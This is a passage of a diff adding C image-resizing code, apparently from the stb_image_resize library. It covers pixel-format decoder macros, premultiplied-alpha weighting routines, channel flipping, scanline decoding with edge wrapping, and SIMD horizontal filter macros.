+          stbir__contributors * clear_contributors = samp->contributors + ( highest_set + filter_pixel_margin + 1);
+          stbir__contributors * end_contributors = samp->contributors + samp->num_contributors;
+          while ( clear_contributors < end_contributors )
+          {
+            clear_contributors->n0 = 0;
+            clear_contributors->n1 = -1;
+            ++clear_contributors;
+          }
+        }
+
+        STBIR_PROFILE_BUILD_END( pivot );
+      }
+    }
+    break;
+  }
+}
+
+
+//========================================================================================================
+// scanline decoders and encoders
+
+#define stbir__coder_min_num 1
+#define STB_IMAGE_RESIZE_DO_CODERS
+#include STBIR__HEADER_FILENAME
+
+#define stbir__decode_suffix BGRA
+#define stbir__decode_swizzle
+#define stbir__decode_order0  2
+#define stbir__decode_order1  1
+#define stbir__decode_order2  0
+#define stbir__decode_order3  3
+#define stbir__encode_order0  2
+#define stbir__encode_order1  1
+#define stbir__encode_order2  0
+#define stbir__encode_order3  3
+#define stbir__coder_min_num 4
+#define STB_IMAGE_RESIZE_DO_CODERS
+#include STBIR__HEADER_FILENAME
+
+#define stbir__decode_suffix ARGB
+#define stbir__decode_swizzle
+#define stbir__decode_order0  1
+#define stbir__decode_order1  2
+#define stbir__decode_order2  3
+#define stbir__decode_order3  0
+#define stbir__encode_order0  3
+#define stbir__encode_order1  0
+#define stbir__encode_order2  1
+#define stbir__encode_order3  2
+#define stbir__coder_min_num 4
+#define STB_IMAGE_RESIZE_DO_CODERS
+#include STBIR__HEADER_FILENAME
+
+#define stbir__decode_suffix ABGR
+#define stbir__decode_swizzle
+#define stbir__decode_order0  3
+#define stbir__decode_order1  2
+#define stbir__decode_order2  1
+#define stbir__decode_order3  0
+#define stbir__encode_order0  3
+#define stbir__encode_order1  2
+#define stbir__encode_order2  1
+#define stbir__encode_order3  0
+#define stbir__coder_min_num 4
+#define STB_IMAGE_RESIZE_DO_CODERS
+#include STBIR__HEADER_FILENAME
+
+#define stbir__decode_suffix AR
+#define stbir__decode_swizzle
+#define stbir__decode_order0  1
+#define stbir__decode_order1  0
+#define stbir__decode_order2  3
+#define stbir__decode_order3  2
+#define stbir__encode_order0  1
+#define stbir__encode_order1  0
+#define stbir__encode_order2  3
+#define stbir__encode_order3  2
+#define stbir__coder_min_num 2
+#define STB_IMAGE_RESIZE_DO_CODERS
+#include STBIR__HEADER_FILENAME
+
+
+// fancy alpha means we expand to keep both premultipied and non-premultiplied color channels
+static void stbir__fancy_alpha_weight_4ch( float * out_buffer, int width_times_channels )
+{
+  float STBIR_STREAMOUT_PTR(*) out = out_buffer;
+  float const * end_decode = out_buffer + ( width_times_channels / 4 ) * 7;  // decode buffer aligned to end of out_buffer
+  float STBIR_STREAMOUT_PTR(*) decode = (float*)end_decode - width_times_channels;
+
+  // fancy alpha is stored internally as R G B A Rpm Gpm Bpm
+
+  #ifdef STBIR_SIMD
+
+  #ifdef STBIR_SIMD8
+  decode += 16;
+  STBIR_NO_UNROLL_LOOP_START
+  while ( decode <= end_decode )
+  {
+    stbir__simdf8 d0,d1,a0,a1,p0,p1;
+    STBIR_NO_UNROLL(decode);
+    stbir__simdf8_load( d0, decode-16 );
+    stbir__simdf8_load( d1, decode-16+8 );
+    stbir__simdf8_0123to33333333( a0, d0 );
+    stbir__simdf8_0123to33333333( a1, d1 );
+    stbir__simdf8_mult( p0, a0, d0 );
+    stbir__simdf8_mult( p1, a1, d1 );
+    stbir__simdf8_bot4s( a0, d0, p0 );
+    stbir__simdf8_bot4s( a1, d1, p1 );
+    stbir__simdf8_top4s( d0, d0, p0 );
+    stbir__simdf8_top4s( d1, d1, p1 );
+    stbir__simdf8_store ( out, a0 );
+    stbir__simdf8_store ( out+7, d0 );
+    stbir__simdf8_store ( out+14, a1 );
+    stbir__simdf8_store ( out+21, d1 );
+    decode += 16;
+    out += 28;
+  }
+  decode -= 16;
+  #else
+  decode += 8;
+  STBIR_NO_UNROLL_LOOP_START
+  while ( decode <= end_decode )
+  {
+    stbir__simdf d0,a0,d1,a1,p0,p1;
+    STBIR_NO_UNROLL(decode);
+    stbir__simdf_load( d0, decode-8 );
+    stbir__simdf_load( d1, decode-8+4 );
+    stbir__simdf_0123to3333( a0, d0 );
+    stbir__simdf_0123to3333( a1, d1 );
+    stbir__simdf_mult( p0, a0, d0 );
+    stbir__simdf_mult( p1, a1, d1 );
+    stbir__simdf_store ( out, d0 );
+    stbir__simdf_store ( out+4, p0 );
+    stbir__simdf_store ( out+7, d1 );
+    stbir__simdf_store ( out+7+4, p1 );
+    decode += 8;
+    out += 14;
+  }
+  decode -= 8;
+  #endif
+
+  // might be one last odd pixel
+  #ifdef STBIR_SIMD8
+  STBIR_NO_UNROLL_LOOP_START
+  while ( decode < end_decode )
+  #else
+  if ( decode < end_decode )
+  #endif
+  {
+    stbir__simdf d,a,p;
+    STBIR_NO_UNROLL(decode);
+    stbir__simdf_load( d, decode );
+    stbir__simdf_0123to3333( a, d );
+    stbir__simdf_mult( p, a, d );
+    stbir__simdf_store ( out, d );
+    stbir__simdf_store ( out+4, p );
+    decode += 4;
+    out += 7;
+  }
+
+  #else
+
+  while( decode < end_decode )
+  {
+    float r = decode[0], g = decode[1], b = decode[2], alpha = decode[3];
+    out[0] = r;
+    out[1] = g;
+    out[2] = b;
+    out[3] = alpha;
+    out[4] = r * alpha;
+    out[5] = g * alpha;
+    out[6] = b * alpha;
+    out += 7;
+    decode += 4;
+  }
+
+  #endif
+}
+
+static void stbir__fancy_alpha_weight_2ch( float * out_buffer, int width_times_channels )
+{
+  float STBIR_STREAMOUT_PTR(*) out = out_buffer;
+  float const * end_decode = out_buffer + ( width_times_channels / 2 ) * 3;
+  float STBIR_STREAMOUT_PTR(*) decode = (float*)end_decode - width_times_channels;
+
+  //  for fancy alpha, turns into: [X A Xpm][X A Xpm],etc
+
+  #ifdef STBIR_SIMD
+
+  decode += 8;
+  if ( decode <= end_decode )
+  {
+    STBIR_NO_UNROLL_LOOP_START
+    do {
+      #ifdef STBIR_SIMD8
+      stbir__simdf8 d0,a0,p0;
+      STBIR_NO_UNROLL(decode);
+      stbir__simdf8_load( d0, decode-8 );
+      stbir__simdf8_0123to11331133( p0, d0 );
+      stbir__simdf8_0123to00220022( a0, d0 );
+      stbir__simdf8_mult( p0, p0, a0 );
+
+      stbir__simdf_store2( out, stbir__if_simdf8_cast_to_simdf4( d0 ) );
+      stbir__simdf_store( out+2, stbir__if_simdf8_cast_to_simdf4( p0 ) );
+      stbir__simdf_store2h( out+3, stbir__if_simdf8_cast_to_simdf4( d0 ) );
+
+      stbir__simdf_store2( out+6, stbir__simdf8_gettop4( d0 ) );
+      stbir__simdf_store( out+8, stbir__simdf8_gettop4( p0 ) );
+      stbir__simdf_store2h( out+9, stbir__simdf8_gettop4( d0 ) );
+      #else
+      stbir__simdf d0,a0,d1,a1,p0,p1;
+      STBIR_NO_UNROLL(decode);
+      stbir__simdf_load( d0, decode-8 );
+      stbir__simdf_load( d1, decode-8+4 );
+      stbir__simdf_0123to1133( p0, d0 );
+      stbir__simdf_0123to1133( p1, d1 );
+      stbir__simdf_0123to0022( a0, d0 );
+      stbir__simdf_0123to0022( a1, d1 );
+      stbir__simdf_mult( p0, p0, a0 );
+      stbir__simdf_mult( p1, p1, a1 );
+
+      stbir__simdf_store2( out, d0 );
+      stbir__simdf_store( out+2, p0 );
+      stbir__simdf_store2h( out+3, d0 );
+
+      stbir__simdf_store2( out+6, d1 );
+      stbir__simdf_store( out+8, p1 );
+      stbir__simdf_store2h( out+9, d1 );
+      #endif
+      decode += 8;
+      out += 12;
+    } while ( decode <= end_decode );
+  }
+  decode -= 8;
+  #endif
+
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  while( decode < end_decode )
+  {
+    float x = decode[0], y = decode[1];
+    STBIR_SIMD_NO_UNROLL(decode);
+    out[0] = x;
+    out[1] = y;
+    out[2] = x * y;
+    out += 3;
+    decode += 2;
+  }
+}
+
+static void stbir__fancy_alpha_unweight_4ch( float * encode_buffer, int width_times_channels )
+{
+  float STBIR_SIMD_STREAMOUT_PTR(*) encode = encode_buffer;
+  float STBIR_SIMD_STREAMOUT_PTR(*) input = encode_buffer;
+  float const * end_output = encode_buffer + width_times_channels;
+
+  // fancy RGBA is stored internally as R G B A Rpm Gpm Bpm
+
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  do {
+    float alpha = input[3];
+#ifdef STBIR_SIMD
+    stbir__simdf i,ia;
+    STBIR_SIMD_NO_UNROLL(encode);
+    if ( alpha < stbir__small_float )
+    {
+      stbir__simdf_load( i, input );
+      stbir__simdf_store( encode, i );
+    }
+    else
+    {
+      stbir__simdf_load1frep4( ia, 1.0f / alpha );
+      stbir__simdf_load( i, input+4 );
+      stbir__simdf_mult( i, i, ia );
+      stbir__simdf_store( encode, i );
+      encode[3] = alpha;
+    }
+#else
+    if ( alpha < stbir__small_float )
+    {
+      encode[0] = input[0];
+      encode[1] = input[1];
+      encode[2] = input[2];
+    }
+    else
+    {
+      float ialpha = 1.0f / alpha;
+      encode[0] = input[4] * ialpha;
+      encode[1] = input[5] * ialpha;
+      encode[2] = input[6] * ialpha;
+    }
+    encode[3] = alpha;
+#endif
+
+    input += 7;
+    encode += 4;
+  } while ( encode < end_output );
+}
+
+//  format: [X A Xpm][X A Xpm] etc
+static void stbir__fancy_alpha_unweight_2ch( float * encode_buffer, int width_times_channels )
+{
+  float STBIR_SIMD_STREAMOUT_PTR(*) encode = encode_buffer;
+  float STBIR_SIMD_STREAMOUT_PTR(*) input = encode_buffer;
+  float const * end_output = encode_buffer + width_times_channels;
+
+  do {
+    float alpha = input[1];
+    encode[0] = input[0];
+    if ( alpha >= stbir__small_float )
+      encode[0] = input[2] / alpha;
+    encode[1] = alpha;
+
+    input += 3;
+    encode += 2;
+  } while ( encode < end_output );
+}
+
+static void stbir__simple_alpha_weight_4ch( float * decode_buffer, int width_times_channels )
+{
+  float STBIR_STREAMOUT_PTR(*) decode = decode_buffer;
+  float const * end_decode = decode_buffer + width_times_channels;
+
+  #ifdef STBIR_SIMD
+  {
+    decode += 2 * stbir__simdfX_float_count;
+    STBIR_NO_UNROLL_LOOP_START
+    while ( decode <= end_decode )
+    {
+      stbir__simdfX d0,a0,d1,a1;
+      STBIR_NO_UNROLL(decode);
+      stbir__simdfX_load( d0, decode-2*stbir__simdfX_float_count );
+      stbir__simdfX_load( d1, decode-2*stbir__simdfX_float_count+stbir__simdfX_float_count );
+      stbir__simdfX_aaa1( a0, d0, STBIR_onesX );
+      stbir__simdfX_aaa1( a1, d1, STBIR_onesX );
+      stbir__simdfX_mult( d0, d0, a0 );
+      stbir__simdfX_mult( d1, d1, a1 );
+      stbir__simdfX_store ( decode-2*stbir__simdfX_float_count, d0 );
+      stbir__simdfX_store ( decode-2*stbir__simdfX_float_count+stbir__simdfX_float_count, d1 );
+      decode += 2 * stbir__simdfX_float_count;
+    }
+    decode -= 2 * stbir__simdfX_float_count;
+
+    // few last pixels remnants
+    #ifdef STBIR_SIMD8
+    STBIR_NO_UNROLL_LOOP_START
+    while ( decode < end_decode )
+    #else
+    if ( decode < end_decode )
+    #endif
+    {
+      stbir__simdf d,a;
+      stbir__simdf_load( d, decode );
+      stbir__simdf_aaa1( a, d, STBIR__CONSTF(STBIR_ones) );
+      stbir__simdf_mult( d, d, a );
+      stbir__simdf_store ( decode, d );
+      decode += 4;
+    }
+  }
+
+  #else
+
+  while( decode < end_decode )
+  {
+    float alpha = decode[3];
+    decode[0] *= alpha;
+    decode[1] *= alpha;
+    decode[2] *= alpha;
+    decode += 4;
+  }
+
+  #endif
+}
+
+static void stbir__simple_alpha_weight_2ch( float * decode_buffer, int width_times_channels )
+{
+  float STBIR_STREAMOUT_PTR(*) decode = decode_buffer;
+  float const * end_decode = decode_buffer + width_times_channels;
+
+  #ifdef STBIR_SIMD
+  decode += 2 * stbir__simdfX_float_count;
+  STBIR_NO_UNROLL_LOOP_START
+  while ( decode <= end_decode )
+  {
+    stbir__simdfX d0,a0,d1,a1;
+    STBIR_NO_UNROLL(decode);
+    stbir__simdfX_load( d0, decode-2*stbir__simdfX_float_count );
+    stbir__simdfX_load( d1, decode-2*stbir__simdfX_float_count+stbir__simdfX_float_count );
+    stbir__simdfX_a1a1( a0, d0, STBIR_onesX );
+    stbir__simdfX_a1a1( a1, d1, STBIR_onesX );
+    stbir__simdfX_mult( d0, d0, a0 );
+    stbir__simdfX_mult( d1, d1, a1 );
+    stbir__simdfX_store ( decode-2*stbir__simdfX_float_count, d0 );
+    stbir__simdfX_store ( decode-2*stbir__simdfX_float_count+stbir__simdfX_float_count, d1 );
+    decode += 2 * stbir__simdfX_float_count;
+  }
+  decode -= 2 * stbir__simdfX_float_count;
+  #endif
+
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  while( decode < end_decode )
+  {
+    float alpha = decode[1];
+    STBIR_SIMD_NO_UNROLL(decode);
+    decode[0] *= alpha;
+    decode += 2;
+  }
+}
+
+static void stbir__simple_alpha_unweight_4ch( float * encode_buffer, int width_times_channels )
+{
+  float STBIR_SIMD_STREAMOUT_PTR(*) encode = encode_buffer;
+  float const * end_output = encode_buffer + width_times_channels;
+
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  do {
+    float alpha = encode[3];
+
+#ifdef STBIR_SIMD
+    stbir__simdf i,ia;
+    STBIR_SIMD_NO_UNROLL(encode);
+    if ( alpha >= stbir__small_float )
+    {
+      stbir__simdf_load1frep4( ia, 1.0f / alpha );
+      stbir__simdf_load( i, encode );
+      stbir__simdf_mult( i, i, ia );
+      stbir__simdf_store( encode, i );
+      encode[3] = alpha;
+    }
+#else
+    if ( alpha >= stbir__small_float )
+    {
+      float ialpha = 1.0f / alpha;
+      encode[0] *= ialpha;
+      encode[1] *= ialpha;
+      encode[2] *= ialpha;
+    }
+#endif
+    encode += 4;
+  } while ( encode < end_output );
+}
+
+static void stbir__simple_alpha_unweight_2ch( float * encode_buffer, int width_times_channels )
+{
+  float STBIR_SIMD_STREAMOUT_PTR(*) encode = encode_buffer;
+  float const * end_output = encode_buffer + width_times_channels;
+
+  do {
+    float alpha = encode[1];
+    if ( alpha >= stbir__small_float )
+      encode[0] /= alpha;
+    encode += 2;
+  } while ( encode < end_output );
+}
+
+
+// only used in RGB->BGR or BGR->RGB
+static void stbir__simple_flip_3ch( float * decode_buffer, int width_times_channels )
+{
+  float STBIR_STREAMOUT_PTR(*) decode = decode_buffer;
+  float const * end_decode = decode_buffer + width_times_channels;
+
+#ifdef STBIR_SIMD
+    #ifdef stbir__simdf_swiz2 // do we have two argument swizzles?
+      end_decode -= 12; 
+      STBIR_NO_UNROLL_LOOP_START
+      while( decode <= end_decode )
+      {
+        // on arm64 8 instructions, no overlapping stores
+        stbir__simdf a,b,c,na,nb;
+        STBIR_SIMD_NO_UNROLL(decode);
+        stbir__simdf_load( a, decode );
+        stbir__simdf_load( b, decode+4 );
+        stbir__simdf_load( c, decode+8 );
+
+        na = stbir__simdf_swiz2( a, b, 2, 1, 0, 5 );   
+        b  = stbir__simdf_swiz2( a, b, 4, 3, 6, 7 );   
+        nb = stbir__simdf_swiz2( b, c, 0, 1, 4, 3 );   
+        c  = stbir__simdf_swiz2( b, c, 2, 7, 6, 5 );   
+
+        stbir__simdf_store( decode, na );
+        stbir__simdf_store( decode+4, nb ); 
+        stbir__simdf_store( decode+8, c );
+        decode += 12;
+      }
+      end_decode += 12;
+    #else
+      end_decode -= 24;
+      STBIR_NO_UNROLL_LOOP_START
+      while( decode <= end_decode )
+      {
+        // 26 instructions on x64
+        stbir__simdf a,b,c,d,e,f,g;
+        float i21, i23;
+        STBIR_SIMD_NO_UNROLL(decode);
+        stbir__simdf_load( a, decode );
+        stbir__simdf_load( b, decode+3 );
+        stbir__simdf_load( c, decode+6 );
+        stbir__simdf_load( d, decode+9 );
+        stbir__simdf_load( e, decode+12 );
+        stbir__simdf_load( f, decode+15 );
+        stbir__simdf_load( g, decode+18 );
+
+        a = stbir__simdf_swiz( a, 2, 1, 0, 3 );   
+        b = stbir__simdf_swiz( b, 2, 1, 0, 3 );   
+        c = stbir__simdf_swiz( c, 2, 1, 0, 3 );   
+        d = stbir__simdf_swiz( d, 2, 1, 0, 3 );   
+        e = stbir__simdf_swiz( e, 2, 1, 0, 3 );   
+        f = stbir__simdf_swiz( f, 2, 1, 0, 3 );   
+        g = stbir__simdf_swiz( g, 2, 1, 0, 3 );   
+
+        // stores overlap, need to be in order, 
+        stbir__simdf_store( decode,    a );
+        i21 = decode[21];
+        stbir__simdf_store( decode+3,  b ); 
+        i23 = decode[23];
+        stbir__simdf_store( decode+6,  c );
+        stbir__simdf_store( decode+9,  d );
+        stbir__simdf_store( decode+12, e );
+        stbir__simdf_store( decode+15, f );
+        stbir__simdf_store( decode+18, g );
+        decode[21] = i23;
+        decode[23] = i21;
+        decode += 24;
+      }
+      end_decode += 24;
+    #endif
+#else
+  end_decode -= 12;
+  STBIR_NO_UNROLL_LOOP_START
+  while( decode <= end_decode )
+  {
+    // 16 instructions
+    float t0,t1,t2,t3;
+    STBIR_NO_UNROLL(decode);
+    t0 = decode[0]; t1 = decode[3]; t2 = decode[6]; t3 = decode[9];
+    decode[0] = decode[2]; decode[3] = decode[5]; decode[6] = decode[8]; decode[9] = decode[11];
+    decode[2] = t0; decode[5] = t1; decode[8] = t2; decode[11] = t3;
+    decode += 12;
+  }
+  end_decode += 12;
+#endif
+
+  STBIR_NO_UNROLL_LOOP_START
+  while( decode < end_decode )
+  {
+    float t = decode[0];
+    STBIR_NO_UNROLL(decode);
+    decode[0] = decode[2];
+    decode[2] = t;
+    decode += 3;
+  }
+}
+
+
+
+static void stbir__decode_scanline(stbir__info const * stbir_info, int n, float * output_buffer STBIR_ONLY_PROFILE_GET_SPLIT_INFO )
+{
+  int channels = stbir_info->channels;
+  int effective_channels = stbir_info->effective_channels;
+  int input_sample_in_bytes = stbir__type_size[stbir_info->input_type] * channels;
+  stbir_edge edge_horizontal = stbir_info->horizontal.edge;
+  stbir_edge edge_vertical = stbir_info->vertical.edge;
+  int row = stbir__edge_wrap(edge_vertical, n, stbir_info->vertical.scale_info.input_full_size);
+  const void* input_plane_data = ( (char *) stbir_info->input_data ) + (size_t)row * (size_t) stbir_info->input_stride_bytes;
+  stbir__span const * spans = stbir_info->scanline_extents.spans;
+  float * full_decode_buffer = output_buffer - stbir_info->scanline_extents.conservative.n0 * effective_channels;
+  float * last_decoded = 0;
+
+  // if we are on edge_zero, and we get in here with an out of bounds n, then the calculate filters has failed
+  STBIR_ASSERT( !(edge_vertical == STBIR_EDGE_ZERO && (n < 0 || n >= stbir_info->vertical.scale_info.input_full_size)) );
+
+  do
+  {
+    float * decode_buffer;
+    void const * input_data;
+    float * end_decode;
+    int width_times_channels;
+    int width;
+
+    if ( spans->n1 < spans->n0 )
+      break;
+
+    width = spans->n1 + 1 - spans->n0;
+    decode_buffer = full_decode_buffer + spans->n0 * effective_channels;
+    end_decode = full_decode_buffer + ( spans->n1 + 1 ) * effective_channels;
+    width_times_channels = width * channels;
+
+    // read directly out of input plane by default
+    input_data = ( (char*)input_plane_data ) + spans->pixel_offset_for_input * input_sample_in_bytes;
+
+    // if we have an input callback, call it to get the input data
+    if ( stbir_info->in_pixels_cb )
+    {
+      // call the callback with a temp buffer (that they can choose to use or not).  the temp is just right aligned memory in the decode_buffer itself
+      input_data = stbir_info->in_pixels_cb( ( (char*) end_decode ) - ( width * input_sample_in_bytes ) + ( ( stbir_info->input_type != STBIR_TYPE_FLOAT ) ? ( sizeof(float)*STBIR_INPUT_CALLBACK_PADDING ) : 0 ), input_plane_data, width, spans->pixel_offset_for_input, row, stbir_info->user_data );
+    }
+
+    STBIR_PROFILE_START( decode );
+    // convert the pixels info the float decode_buffer, (we index from end_decode, so that when channels<effective_channels, we are right justified in the buffer)
+    last_decoded = stbir_info->decode_pixels( (float*)end_decode - width_times_channels, width_times_channels, input_data );
+    STBIR_PROFILE_END( decode );
+
+    if (stbir_info->alpha_weight)
+    {
+      STBIR_PROFILE_START( alpha );
+      stbir_info->alpha_weight( decode_buffer, width_times_channels );
+      STBIR_PROFILE_END( alpha );
+    }
+
+    ++spans;
+  } while ( spans <= ( &stbir_info->scanline_extents.spans[1] ) );
+
+  // handle the edge_wrap filter (all other types are handled back out at the calculate_filter stage)
+  // basically the idea here is that if we have the whole scanline in memory, we don't redecode the
+  //   wrapped edge pixels, and instead just memcpy them from the scanline into the edge positions
+  if ( ( edge_horizontal == STBIR_EDGE_WRAP ) && ( stbir_info->scanline_extents.edge_sizes[0] | stbir_info->scanline_extents.edge_sizes[1] ) )
+  {
+    // this code only runs if we're in edge_wrap, and we're doing the entire scanline
+    int e, start_x[2];
+    int input_full_size = stbir_info->horizontal.scale_info.input_full_size;
+
+    start_x[0] = -stbir_info->scanline_extents.edge_sizes[0];  // left edge start x
+    start_x[1] =  input_full_size;                             // right edge
+
+    for( e = 0; e < 2 ; e++ )
+    {
+      // do each margin
+      int margin = stbir_info->scanline_extents.edge_sizes[e];
+      if ( margin )
+      {
+        int x = start_x[e];
+        float * marg = full_decode_buffer + x * effective_channels;
+        float const * src = full_decode_buffer + stbir__edge_wrap(edge_horizontal, x, input_full_size) * effective_channels;
+        STBIR_MEMCPY( marg, src, margin * effective_channels * sizeof(float) );
+        if ( e == 1 ) last_decoded = marg + margin * effective_channels;
+      }
+    }
+  }
+  
+  // some of the horizontal gathers read one float off the edge (which is masked out), but we force a zero here to make sure no NaNs leak in
+  //   (we can't pre-zero it, because the input callback can use that area as padding)
+  last_decoded[0] = 0.0f; 
+
+  // we clear this extra float, because the final output pixel filter kernel might have used one less coeff than the max filter width
+  //   when this happens, we do read that pixel from the input, so it too could be Nan, so just zero an extra one.
+  //   this fits because each scanline is padded by three floats (STBIR_INPUT_CALLBACK_PADDING)
+  last_decoded[1] = 0.0f;
+}
+
+
+//=================
+// Do 1 channel horizontal routines
+
+#ifdef STBIR_SIMD
+
+#define stbir__1_coeff_only()          \
+    stbir__simdf tot,c;                \
+    STBIR_SIMD_NO_UNROLL(decode);      \
+    stbir__simdf_load1( c, hc );       \
+    stbir__simdf_mult1_mem( tot, c, decode );
+
+#define stbir__2_coeff_only()          \
+    stbir__simdf tot,c,d;              \
+    STBIR_SIMD_NO_UNROLL(decode);      \
+    stbir__simdf_load2z( c, hc );      \
+    stbir__simdf_load2( d, decode );   \
+    stbir__simdf_mult( tot, c, d );    \
+    stbir__simdf_0123to1230( c, tot ); \
+    stbir__simdf_add1( tot, tot, c );
+
+#define stbir__3_coeff_only()                  \
+    stbir__simdf tot,c,t;                      \
+    STBIR_SIMD_NO_UNROLL(decode);              \
+    stbir__simdf_load( c, hc );                \
+    stbir__simdf_mult_mem( tot, c, decode );   \
+    stbir__simdf_0123to1230( c, tot );         \
+    stbir__simdf_0123to2301( t, tot );         \
+    stbir__simdf_add1( tot, tot, c );          \
+    stbir__simdf_add1( tot, tot, t );
+
+#define stbir__store_output_tiny()                \
+    stbir__simdf_store1( output, tot );           \
+    horizontal_coefficients += coefficient_width; \
+    ++horizontal_contributors;                    \
+    output += 1;
+
+#define stbir__4_coeff_start()                 \
+    stbir__simdf tot,c;                        \
+    STBIR_SIMD_NO_UNROLL(decode);              \
+    stbir__simdf_load( c, hc );                \
+    stbir__simdf_mult_mem( tot, c, decode );   \
+
+#define stbir__4_coeff_continue_from_4( ofs )  \
+    STBIR_SIMD_NO_UNROLL(decode);              \
+    stbir__simdf_load( c, hc + (ofs) );        \
+    stbir__simdf_madd_mem( tot, tot, c, decode+(ofs) );
+
+#define stbir__1_coeff_remnant( ofs )          \
+    { stbir__simdf d;                          \
+    stbir__simdf_load1z( c, hc + (ofs) );      \
+    stbir__simdf_load1( d, decode + (ofs) );   \
+    stbir__simdf_madd( tot, tot, d, c ); }
+
+#define stbir__2_coeff_remnant( ofs )          \
+    { stbir__simdf d;                          \
+    stbir__simdf_load2z( c, hc+(ofs) );        \
+    stbir__simdf_load2( d, decode+(ofs) );     \
+    stbir__simdf_madd( tot, tot, d, c ); }
+
+#define stbir__3_coeff_setup()                 \
+    stbir__simdf mask;                         \
+    stbir__simdf_load( mask, STBIR_mask + 3 );
+
+#define stbir__3_coeff_remnant( ofs )                  \
+    stbir__simdf_load( c, hc+(ofs) );                  \
+    stbir__simdf_and( c, c, mask );                    \
+    stbir__simdf_madd_mem( tot, tot, c, decode+(ofs) );
+
+#define stbir__store_output()                     \
+    stbir__simdf_0123to2301( c, tot );            \
+    stbir__simdf_add( tot, tot, c );              \
+    stbir__simdf_0123to1230( c, tot );            \
+    stbir__simdf_add1( tot, tot, c );             \
+    stbir__simdf_store1( output, tot );           \
+    horizontal_coefficients += coefficient_width; \
+    ++horizontal_contributors;                    \
+    output += 1;
+
+#else
+
+#define stbir__1_coeff_only()  \
+    float tot;                 \
+    tot = decode[0]*hc[0];
+
+#define stbir__2_coeff_only()  \
+    float tot;                 \
+    tot = decode[0] * hc[0];   \
+    tot += decode[1] * hc[1];
+
+#define stbir__3_coeff_only()  \
+    float tot;                 \
+    tot = decode[0] * hc[0];   \
+    tot += decode[1] * hc[1];  \
+    tot += decode[2] * hc[2];
+
+#define stbir__store_output_tiny()                \
+    output[0] = tot;                              \
+    horizontal_coefficients += coefficient_width; \
+    ++horizontal_contributors;                    \
+    output += 1;
+
+#define stbir__4_coeff_start()  \
+    float tot0,tot1,tot2,tot3;  \
+    tot0 = decode[0] * hc[0];   \
+    tot1 = decode[1] * hc[1];   \
+    tot2 = decode[2] * hc[2];   \
+    tot3 = decode[3] * hc[3];
+
+#define stbir__4_coeff_continue_from_4( ofs )  \
+    tot0 += decode[0+(ofs)] * hc[0+(ofs)];     \
+    tot1 += decode[1+(ofs)] * hc[1+(ofs)];     \
+    tot2 += decode[2+(ofs)] * hc[2+(ofs)];     \
+    tot3 += decode[3+(ofs)] * hc[3+(ofs)];
+
+#define stbir__1_coeff_remnant( ofs )        \
+    tot0 += decode[0+(ofs)] * hc[0+(ofs)];
+
+#define stbir__2_coeff_remnant( ofs )        \
+    tot0 += decode[0+(ofs)] * hc[0+(ofs)];   \
+    tot1 += decode[1+(ofs)] * hc[1+(ofs)];   \
+
+#define stbir__3_coeff_remnant( ofs )        \
+    tot0 += decode[0+(ofs)] * hc[0+(ofs)];   \
+    tot1 += decode[1+(ofs)] * hc[1+(ofs)];   \
+    tot2 += decode[2+(ofs)] * hc[2+(ofs)];
+
+#define stbir__store_output()                     \
+    output[0] = (tot0+tot2)+(tot1+tot3);          \
+    horizontal_coefficients += coefficient_width; \
+    ++horizontal_contributors;                    \
+    output += 1;
+
+#endif
+
+#define STBIR__horizontal_channels 1
+#define STB_IMAGE_RESIZE_DO_HORIZONTALS
+#include STBIR__HEADER_FILENAME
+
+
+//=================
+// Do 2 channel horizontal routines
+
+#ifdef STBIR_SIMD
+
+#define stbir__1_coeff_only()         \
+    stbir__simdf tot,c,d;             \
+    STBIR_SIMD_NO_UNROLL(decode);     \
+    stbir__simdf_load1z( c, hc );     \
+    stbir__simdf_0123to0011( c, c );  \
+    stbir__simdf_load2( d, decode );  \
+    stbir__simdf_mult( tot, d, c );
+
+#define stbir__2_coeff_only()         \
+    stbir__simdf tot,c;               \
+    STBIR_SIMD_NO_UNROLL(decode);     \
+    stbir__simdf_load2( c, hc );      \
+    stbir__simdf_0123to0011( c, c );  \
+    stbir__simdf_mult_mem( tot, c, decode );
+
+#define stbir__3_coeff_only()                \
+    stbir__simdf tot,c,cs,d;                 \
+    STBIR_SIMD_NO_UNROLL(decode);            \
+    stbir__simdf_load( cs, hc );             \
+    stbir__simdf_0123to0011( c, cs );        \
+    stbir__simdf_mult_mem( tot, c, decode ); \
+    stbir__simdf_0123to2222( c, cs );        \
+    stbir__simdf_load2z( d, decode+4 );      \
+    stbir__simdf_madd( tot, tot, d, c );
+
+#define stbir__store_output_tiny()                \
+    stbir__simdf_0123to2301( c, tot );            \
+    stbir__simdf_add( tot, tot, c );              \
+    stbir__simdf_store2( output, tot );           \
+    horizontal_coefficients += coefficient_width; \
+    ++horizontal_contributors;                    \
+    output += 2;
+
+#ifdef STBIR_SIMD8
+
+#define stbir__4_coeff_start()                    \
+    stbir__simdf8 tot0,c,cs;                      \
+    STBIR_SIMD_NO_UNROLL(decode);                 \
+    stbir__simdf8_load4b( cs, hc );               \
+    stbir__simdf8_0123to00112233( c, cs );        \
+    stbir__simdf8_mult_mem( tot0, c, decode );
+
+#define stbir__4_coeff_continue_from_4( ofs )        \
+    STBIR_SIMD_NO_UNROLL(decode);                    \
+    stbir__simdf8_load4b( cs, hc + (ofs) );          \
+    stbir__simdf8_0123to00112233( c, cs );           \
+    stbir__simdf8_madd_mem( tot0, tot0, c, decode+(ofs)*2 );
+
+#define stbir__1_coeff_remnant( ofs )                \
+    { stbir__simdf t,d;                              \
+    stbir__simdf_load1z( t, hc + (ofs) );            \
+    stbir__simdf_load2( d, decode + (ofs) * 2 );     \
+    stbir__simdf_0123to0011( t, t );                 \
+    stbir__simdf_mult( t, t, d );                    \
+    stbir__simdf8_add4( tot0, tot0, t ); }
+ 
+#define stbir__2_coeff_remnant( ofs )                \
+    { stbir__simdf t;                                \
+    stbir__simdf_load2( t, hc + (ofs) );             \
+    stbir__simdf_0123to0011( t, t );                 \
+    stbir__simdf_mult_mem( t, t, decode+(ofs)*2 );   \
+    stbir__simdf8_add4( tot0, tot0, t ); }
+
+#define stbir__3_coeff_remnant( ofs )                \
+    { stbir__simdf8 d;                               \
+    stbir__simdf8_load4b( cs, hc + (ofs) );          \
+    stbir__simdf8_0123to00112233( c, cs );           \
+    stbir__simdf8_load6z( d, decode+(ofs)*2 );       \
+    stbir__simdf8_madd( tot0, tot0, c, d ); }
+
+#define stbir__store_output()                     \
